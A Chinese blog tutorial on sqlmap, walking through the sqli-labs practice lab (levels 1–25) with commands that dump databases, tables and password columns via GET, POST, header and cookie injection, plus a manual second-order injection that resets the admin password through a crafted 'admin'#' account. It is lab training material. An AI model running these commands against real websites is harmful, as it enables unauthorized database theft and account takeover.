Sqlmap基础与实战——Sdegree

一、sqlmap的安装与环境

这里是sqlmap的官网
https://sqlmap.org/
sqlmap是基于python开发的开源工具,所以需要下载python环境
这个是python官网
https://www.python.org/
为了方便在桌面创建一个快捷方式
![}$S7T8HZV]CN3@B}JCO$K9Y.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1677848272642-006bd2fd-447a-429d-aecf-d3fb2a1565c4.png#averageHue=%23f4f3f3&clientId=ue7c83457-c33c-4&from=paste&height=633&id=u979b190c&originHeight=949&originWidth=692&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=48965&status=done&style=none&taskId=u59b81477-68b3-47ac-8af0-72024fd7f3a&title=&width=461.3333333333333)
当输入python sqlmap.py -h出现以下页面说明安装成功
![9@H5ZDGG{E2TQ6}(5DEQ{3.png

二、一些sqlmap基础命令

1.清除sqlmap缓存

(这个相当于防止出现一些非预期,当我们用sqlmap对一个站点多次sql注入,在完成测试并修复后需要再次测试时,如果不删除之前的缓存,会使用原来的缓存记录,会导致我们无法判断修复是否有效。不过打CTF好像用不到QAQ,不过以后开发时会用到,就当养成好习惯。)
方法:sqlmap.py --purge

2.sqlmap -u 注入点 检测注入点是否可用

sqlmap -u 注入点 –batch 自动输入
sqlmap -u 注入点 –dbs //暴库
Web当前使用的数据库
sqlmap -u 注入点 –current-db //爆当前使用的库
Web数据库使用的账户
sqlmap -u 注入点 –current-user //当前使用的账户
列出sqlserver所有用户
sqlmap -u 注入点 –users // 列出所有使用过的账户
数据库账户与密码
sqlmap -u 注入点 –passwords //mysql的登录账户和密码
列出数据库中的表
sqlmap -u 注入点 -D 指定数据库名 –tables //(-D指定数据库名称)
列出表中字段
sqlmap -u 注入点 -D 指定数据库名 -T 指定的表名 –columns
爆字段内容
sqlmap -u 注入点 -D 指定数据库名 -T 指定表名 -C “email,username,userpassword” –dump (将结果导出)
–risk:风险等级,共有4个,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。
level:共有五个等级,默认为1,在我们不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。

三、基本实战(sqli-labs)

Less1~9(get)

先查询id=1,发现有回显
[AOA{JY`_GB5SQ{]CY)7(ZF.png
查看数据库
sqlmap.py -u http://sqli-labs/Less-1/?id=1 --dbs
![J76TYBFU]IEDW45508$)X]B.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1677937629388-d6a2dda6-fcda-4fa6-8ff0-6c134aa3ed55.png#averageHue=%23171717&clientId=uc18f1fed-f358-4&from=paste&height=913&id=ub96a157d&originHeight=1370&originWidth=2560&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=378200&status=done&style=none&taskId=ufb2c4458-59d1-457e-a286-aa81f3227be&title=&width=1706.6666666666667)
image.png
查看数据表
sqlmap.py -u http://sqli-labs/Less-1/?id=1 -D security --tables
image.png
查看列字段
查看security数据库下的users表里都有哪些字段
sqlmap.py -u http://sqli-labs/Less-1/?id=1 -D security -T users --columns
image.png
查看列字段的具体值
查看security数据库下的users表里的id、password、username有哪些值
sqlmap.py -u http://sqli-labs/Less-1/?id=1 -D security -T users --columns id,password,username --dump
image.png
注入成功QAQ
前九关可以说几乎都是一样的,直接sqlmap跑下?id=1注入点就搞定了.

Less10(get level)

sqlmap.py -u http://sqli-labs/Less-10/?id=1 -level=2 --dbs
就是比之前多了一个level提高一下等级默认是1
其它操作一样

Less11~15(post)

注入位置和之前不一样,之前都是GET的URL部分注入,现在这里需要用POST请求中的Payload进行注入。命令有一些变化,需要使用--data来定义payload的内容
sqlmap.py -u http://sqli-labs/Less-11/index.php --data "uname=1&passwd=11&submit=Submit" --dbs
这五关原理相同

Less16(post level)

16比11~15多了等级其它都一样
sqlmap.py -u http://sqli-labs/Less-16/index.php --data "uname=1&passwd=11&submit=Submit" --dbs --level=2

Less17(post)

和11~15一样QAQ

Less18(User-Agent)

这关不太一样
注入位置在User-Agent中
sqlmap.py -u "http://sqli-labs/sqli-labs/Less-18/" --data="uname=admin&passwd=admin&submit=Submit" --user-agent="*" --thread=10 --dbs

Less19(Referer)

注入点位置就在Referer中
sqlmap.py -u "http://sqli-labs/Less-19/" --data="uname=admin&passwd=admin&submit=Submit" --referer="*" --thread=10 --dbs

less20(Cookie)

注入点位置就在Cookie中
sqlmap.py -u http://sqli-labs/Less-20/index.php --cookie="uname=admin" --dbs

Less21~22(Cookie+base64编码)

sqlmap.py -u http://sqli-labs/Less-21/index.php --cookie="uname=*" --dbs --tamper "base64encode.py"

Less23(get)

sqlmap -u http:///sqli-labs/Less-23/?id=1 --dbs
虽然方法一样,不过手动注入时的考点不一样,只能说工具是真的方便。

Less24(二阶注入,用不了QAQ)

首页有登录和注册新用户的功能(忘记密码功能不能用)
点击New User click here?会进入注册用户的页面
输入正确的用户名和密码会进入修改用户密码的页面,比如以用户名admin,密码2登录
三个位置可能有sql语句,登录位置的select语句,新建用户的insert语句,修改密码的update语句。看看代码中这三个sql语句是否有预编译、编码、过滤等操作,以判断是否有注入可能。
登录位置代码:
mysql_real_escape_string()
函数转义 SQL 语句中使用的字符串中的特殊字符,这里select语句中用户名和密码都有单引号闭合,用户输入用这个函数处理之后无法闭合单引号,因此无注入点。
注册用户的代码:
insert语句的入参都经过了函数_mysql_escape_string()_的转义,没有注入点。
修改密码的代码:
update语句中的$pass和$curr_pass都是用户输入的参数,都经过转义了,但$username是从session中读取的,并且没有经过转义,因此有sql注入的可能。

username有注入点,也就是说,这关可以实现不知道已知用户密码的情况下,修改已知用户密码的操作。这样倒推回去,修改密码时登录的用户(也就是攻击者新创建的用户)需要特殊构造。比如,如果已知用户是admin,则新创建的用户应当是admin'#或者admin'-- s之类,使最终生效的sql语句为:UPDATE users SET PASSWORD='$pass' where username='admin'
所以这道题我们可以这样做:
注册新用户admin'#,密码随意
登录
修改密码为随便几个数字
登录就可以了

Less25(get)

sqlmap -u http://sqli-labs/Less-25/?id=1 --dbs

结语

sqli-labs一共75道题,后面的大部分都无法使用sqlmap。sqlmap工具真的好用,将这25题比较,明显会发现24这道不能使用sqlmap会麻烦很多。不过工具固然好用,今后碰到的大部分题目都过滤了sqlmap的语句,所以必要时还是需要手动注入的。

posted @ 2023-08-17 21:58  Sdegree  阅读(333)  评论(0编辑  收藏  举报